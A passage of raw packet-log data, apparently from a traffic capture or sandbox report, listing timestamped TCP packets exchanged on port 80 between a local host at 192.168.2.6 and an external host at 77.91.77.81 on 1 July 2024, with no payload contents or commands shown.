Jul 1, 2024 07:21:02.180660963 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180680037 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180706024 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180733919 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180747986 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180773020 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180793047 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.180851936 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180866003 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.180931091 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182301998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182324886 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182336092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182344913 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182374001 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182378054 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182389975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182401896 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182415009 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182429075 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182439089 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182467937 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182569027 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182581902 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182594061 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182609081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182621956 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182626009 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182636023 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182646990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182651997 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182668924 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182688951 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182708025 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182794094 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182938099 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182982922 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.182990074 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.182995081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183023930 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183032990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183041096 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183046103 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183120966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183125973 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183128119 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183163881 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183198929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183232069 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183269024 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183273077 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183311939 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183331966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183343887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183355093 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183387995 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183403969 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183413029 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183424950 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183480024 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183598042 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183675051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183684111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183702946 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183713913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183722019 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183747053 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183770895 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183795929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183809042 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183847904 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183875084 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183927059 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183943033 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183960915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183970928 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.183973074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183986902 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.183986902 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184006929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184017897 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184022903 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184034109 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184067965 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184094906 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184107065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184119940 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184130907 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184135914 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184165001 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184185982 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184212923 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184214115 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184218884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184231997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184257984 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184282064 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184303999 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184318066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184328079 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184356928 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184374094 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184382915 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184448957 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184462070 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184478998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184494019 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.184499025 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184521914 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.184545994 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209266901 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209278107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209291935 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209309101 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209315062 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209328890 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209336042 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209348917 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209381104 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209415913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209423065 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209469080 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209512949 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209520102 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209532022 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209538937 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209543943 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209583998 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209583998 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209688902 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209696054 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209701061 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209743023 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209750891 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209758043 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209764957 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209772110 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209777117 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209800005 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209825039 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.209886074 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209892988 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209904909 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209911108 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209918976 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.209955931 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.210022926 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.210028887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.210068941 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.237474918 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237485886 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237509966 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237517118 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237521887 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237534046 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237540007 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237581015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.237610102 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.237637043 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269222975 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269243002 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269256115 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269260883 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269267082 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269284010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269304991 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269310951 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269323111 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269417048 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269424915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269435883 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269442081 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269450903 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269450903 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269483089 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269546986 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269552946 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269565105 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269571066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269582987 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269598007 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269613028 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269638062 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269680977 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269687891 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269700050 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269706011 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269711018 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.269727945 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.269753933 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.271290064 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271298885 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271311998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271349907 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271356106 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271364927 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.271368027 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271374941 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271401882 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.271416903 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.271915913 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271922112 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271934032 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.271976948 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272017002 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272022009 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272032976 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272039890 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272058964 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272066116 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272075891 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272109032 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272145033 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272161961 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272193909 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272205114 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272211075 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272227049 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272253036 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272269011 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272289991 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272294998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272330999 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272337914 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272345066 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272355080 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272382975 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272464037 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272469997 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272494078 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272501945 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272506952 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272516012 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272532940 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272591114 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272627115 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272630930 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272672892 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272680044 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272686005 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272699118 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272701979 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272728920 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272773981 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272780895 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272793055 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272823095 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272845984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272850990 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272887945 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272893906 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272901058 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272931099 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.272964954 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.272970915 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273010969 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273041010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273046970 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273060083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273063898 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273086071 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273108006 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273166895 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273174047 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273185015 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273191929 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273212910 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273237944 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273248911 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273256063 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273293018 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273319006 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273324013 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273335934 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273341894 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273361921 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273386002 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.273439884 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273446083 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273456097 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.273484945 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298300982 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298325062 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298331976 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298342943 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298350096 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298357010 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298372030 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298409939 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298420906 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298428059 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298434973 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298439980 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298464060 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298489094 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298513889 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298521042 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298527002 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298535109 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298563957 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298578978 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298666954 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298674107 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298686028 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298696995 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298702955 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298711061 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298722029 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298751116 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298820972 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298826933 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298839092 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298845053 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298850060 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298876047 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298893929 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.298968077 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298974037 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298979998 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.298984051 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.299019098 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.299037933 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.326462984 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326483965 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326497078 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326509953 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326517105 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326529026 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326534986 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326541901 CEST	80	49726	77.91.77.81	192.168.2.6
Jul 1, 2024 07:21:02.326545954 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.326581955 CEST	49726	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:21:02.534981966 CEST	80	49726	77.91.77.81	192.168.2.6
